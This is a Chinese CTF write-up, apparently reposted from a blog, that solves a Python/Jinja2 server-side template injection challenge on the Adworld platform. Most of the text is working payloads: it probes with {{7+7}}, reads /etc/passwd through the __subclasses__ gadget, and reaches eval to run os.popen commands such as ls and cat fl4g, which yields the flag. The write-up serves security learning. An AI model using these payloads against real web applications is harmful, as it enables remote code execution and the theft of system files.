zoukankan      html  css  js  c++  java
  • 攻防世界WEB高手进阶之python_template_injection

    python模板注入

    看了一堆文章,也不是看的很明白,反而把题目做出来了

    大概思路如下

    简单探测

    http://111.198.29.45:42611/{{7+7}}

    返回

     

    说明服务器执行了{{}}里面这一段代码

    利用{{ config.items() }}可以查看服务器的配置信息

    读取passwd信息

    {{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
    

     执行成功

    Python3代码

    执行下面这一段代码

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}   
      {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
        {% if 'eval' in b.keys() %}    //找到了
          {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
     
    

     列出文件

    修改一下命令

    ls 改成cat fl4g,就可以读取flag了

    {% for c in [].__class__.__base__.__subclasses__() %}
    
    {% if c.__name__ == 'catch_warnings' %}
    
      {% for b in c.__init__.__globals__.values() %}  
    
      {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    
        {% if 'eval' in b.keys() %}    //找到了
    
          {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 
    
        {% endif %}
    
      {% endif %}
    
      {% endfor %}
    
    {% endif %}
    
    {% endfor %}

    Get flag成功

    Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

    说起来参考了这几位师傅的文章,链接如下

    https://blog.csdn.net/iamsongyu/article/details/85861811

    https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

    https://xz.aliyun.com/t/2908

  • 相关阅读:
    MyBatis java and MySql local variables
    FileReader 基本介绍
    MyBatis插入多条
    mysql批量更新
    转载:mybatis自动生成
    Redis Replication
    Redis 持久化
    Python 调用 Redis API
    Redis 数据类型
    Redis 单节点安装
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11523005.html
Copyright © 2011-2022 走看看